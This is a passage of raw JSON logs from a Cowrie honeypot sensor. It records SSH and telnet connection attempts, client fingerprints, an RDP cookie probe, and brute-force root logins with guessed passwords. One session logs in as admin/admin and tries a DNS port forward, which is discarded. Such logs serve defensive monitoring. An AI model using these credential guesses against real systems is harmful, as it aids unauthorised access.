ce:55:07:d1:3c:96:fd:ba:85:de:63:dd:23:98:1e:70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:45:22.603754Z","src_ip":"148.153.245.161","session":"297c50776c43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ce:55:07:d1:3c:96:fd:ba:85:de:63:dd:23:98:1e:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDX/wrAhCdSQU87+Gn1fgxyczTLyqf2n8U0Zdgwri1lSlxk7f+yn7Q/NrLoE8oyrjcKYQMWlg15OmmJBxI1eQ5Ml7d8xb1ldFMYJE4A1BmbV2r3xSOqYU3xC92dsVz0yzgsph3R4zRtnUv9pzlkBhtgHgxiAVaqCDl4j9BM2AjNxr6basDCaVjUiOHErqSINRn+taKAILKrNe/DiqcM0xoIQwKpHeaEP+xNVwGIFILe5fGmQ/z3y6YPCHVAmafJ65UINU4sXON/3MX5UMCytX7/VsNnRQo2/ceO/cFDpC23+VBdQ/dsArnXZdndPFH7jnEefw2ZDFeSOBO28jSkKMlvKIqFlpmYBd5kE1LDDkJCj+Z+0/WTEBiwP8ED5gTQ9xGs9mnThMGhZ92QZ2rlTAeRrIZuNCzehoEhigvDdIK2/bZeXiSgyZwPSSKpF6R0hyZCtragK4I9S4XSymplCeQAxN1Sv+OsPOcndtGfUY7TSyN8q5xWzOn6oG2XDivrziYE/Q55NXNEcKVGzBYvorSGEEfNmpXkFSXfrzwPjoOG08+nKHvLFyTWJx4HDXe9cAVeVnps6rI8DbzfliUiX0Ti8fD+bxiBdn+KKDvd5LVXQCv9LaNKcz9FIafpYsPFm3ctk2w6GwtWsHRfqfRV9RXJ8oO2EjTYP6zcOXlKhVzy5w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:45:22.607740Z","src_ip":"148.153.245.161","session":"297c50776c43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:45:22.652735Z","src_ip":"148.153.245.161","session":"297c50776c43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44506,"dst_ip":"10.17.0.5","dst_port":23,"session":"d12b284779f8","protocol":"telnet","message":"New connection: 152.42.224.71:44506 (10.17.0.5:23) [session: d12b284779f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:45:43.689207Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":63121,"dst_ip":"159.203.135.109","dst_port":22,"session":"e130929982fb","protocol":"ssh","message":"New connection: 152.42.212.128:63121 (159.203.135.109:22) [session: e130929982fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:45:45.022908Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:45:45.029536Z","src_ip":"152.42.212.128","session":"e130929982fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:45:45.033551Z","src_ip":"152.42.212.128","session":"e130929982fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34134,"dst_ip":"10.17.0.5","dst_port":23,"session":"90a82e1f0b2a","protocol":"telnet","message":"New connection: 152.42.224.71:34134 (10.17.0.5:23) [session: 90a82e1f0b2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:45:56.370484Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":45718,"dst_ip":"159.203.135.109","dst_port":22,"session":"28492fcecf28","protocol":"ssh","message":"New connection: 62.133.63.178:45718 (159.203.135.109:22) [session: 28492fcecf28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:46:07.568066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:46:07.572865Z","src_ip":"62.133.63.178","session":"28492fcecf28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:46:07.706615Z","src_ip":"62.133.63.178","session":"28492fcecf28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r1","message":"login attempt [root/1q2w3e4r1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:46:08.101377Z","src_ip":"62.133.63.178","session":"28492fcecf28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:46:09.230946Z","src_ip":"62.133.63.178","session":"28492fcecf28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":38374,"dst_ip":"10.17.0.5","dst_port":22,"session":"f08c39f1259d","protocol":"ssh","message":"New connection: 103.77.242.62:38374 (10.17.0.5:22) [session: f08c39f1259d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:46:16.683492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:46:16.688354Z","src_ip":"103.77.242.62","session":"f08c39f1259d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:46:16.933120Z","src_ip":"103.77.242.62","session":"f08c39f1259d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19283746","message":"login attempt [root/19283746] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:46:17.671516Z","src_ip":"103.77.242.62","session":"f08c39f1259d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:46:18.919764Z","src_ip":"103.77.242.62","session":"f08c39f1259d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.71273183822632,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:46:27.401838Z","src_ip":"152.42.224.71","session":"d12b284779f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00249767303467,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:46:29.047778Z","src_ip":"152.42.224.71","session":"b346da7737f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.245728731155396,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:46:34.616097Z","src_ip":"152.42.224.71","session":"90a82e1f0b2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":36310,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c44d759a1b2","protocol":"ssh","message":"New connection: 194.113.233.25:36310 (159.203.135.109:22) [session: 6c44d759a1b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:46:35.976239Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:46:35.983898Z","src_ip":"194.113.233.25","session":"6c44d759a1b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:46:36.086582Z","src_ip":"194.113.233.25","session":"6c44d759a1b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"marina1","message":"login attempt [root/marina1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:46:36.385601Z","src_ip":"194.113.233.25","session":"6c44d759a1b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:46:37.483644Z","src_ip":"194.113.233.25","session":"6c44d759a1b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":24480,"dst_ip":"10.17.0.5","dst_port":22,"session":"9110527807c5","protocol":"ssh","message":"New connection: 87.251.64.176:24480 (10.17.0.5:22) [session: 9110527807c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:46:37.718511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:46:37.723990Z","src_ip":"87.251.64.176","session":"9110527807c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:46:37.821483Z","src_ip":"87.251.64.176","session":"9110527807c5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:46:38.114648Z","src_ip":"87.251.64.176","session":"9110527807c5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:46:38.217364Z","session":"9110527807c5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:46:38.316332Z","src_ip":"87.251.64.176","session":"9110527807c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:46:38.419728Z","src_ip":"87.251.64.176","session":"9110527807c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39056,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb0145935353","protocol":"telnet","message":"New connection: 152.42.224.71:39056 (10.17.0.5:23) [session: cb0145935353]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:46:45.109097Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42648,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d150aa808be","protocol":"telnet","message":"New connection: 152.42.224.71:42648 (10.17.0.5:23) [session: 2d150aa808be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:46:50.097867Z"}
{"eventid":"cowrie.session.closed","duration":105.36421513557434,"message":"Connection lost after 105 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:47:00.614594Z","src_ip":"152.42.224.71","session":"4eb4a741444c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58734,"dst_ip":"10.17.0.5","dst_port":23,"session":"adb7f7eb0f0d","protocol":"telnet","message":"New connection: 152.42.224.71:58734 (10.17.0.5:23) [session: adb7f7eb0f0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:47:06.918222Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48824,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb46b7340b29","protocol":"telnet","message":"New connection: 152.42.224.71:48824 (10.17.0.5:23) [session: fb46b7340b29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:47:19.922809Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48830,"dst_ip":"10.17.0.5","dst_port":23,"session":"48cff4decfc2","protocol":"telnet","message":"New connection: 152.42.224.71:48830 (10.17.0.5:23) [session: 48cff4decfc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:47:22.229502Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33932,"dst_ip":"10.17.0.5","dst_port":23,"session":"faf13c5f9bb9","protocol":"telnet","message":"New connection: 152.42.224.71:33932 (10.17.0.5:23) [session: faf13c5f9bb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:47:26.225235Z"}
{"eventid":"cowrie.session.closed","duration":46.644805908203125,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:47:31.753798Z","src_ip":"152.42.224.71","session":"cb0145935353","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":54300,"dst_ip":"159.203.135.109","dst_port":22,"session":"e6169230f4c4","protocol":"ssh","message":"New connection: 147.45.197.250:54300 (159.203.135.109:22) [session: e6169230f4c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:47:37.192898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:47:37.206388Z","src_ip":"147.45.197.250","session":"e6169230f4c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:47:37.309786Z","src_ip":"147.45.197.250","session":"e6169230f4c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"azazaz","message":"login attempt [root/azazaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:47:37.593243Z","src_ip":"147.45.197.250","session":"e6169230f4c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:47:38.689674Z","src_ip":"147.45.197.250","session":"e6169230f4c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.33503484725952,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:47:53.253119Z","src_ip":"152.42.224.71","session":"adb7f7eb0f0d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.12753629684448,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:48:01.352662Z","src_ip":"152.42.224.71","session":"faf13c5f9bb9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.048829078674316,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:48:06.278163Z","src_ip":"152.42.224.71","session":"48cff4decfc2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54912,"dst_ip":"10.17.0.5","dst_port":23,"session":"19ac01e7c0de","protocol":"telnet","message":"New connection: 152.42.224.71:54912 (10.17.0.5:23) [session: 19ac01e7c0de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:48:07.189526Z"}
{"eventid":"cowrie.session.closed","duration":36.992077589035034,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:48:44.181508Z","src_ip":"152.42.224.71","session":"19ac01e7c0de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54420,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3058bec98b9","protocol":"telnet","message":"New connection: 152.42.224.71:54420 (10.17.0.5:23) [session: d3058bec98b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:48:49.072797Z"}
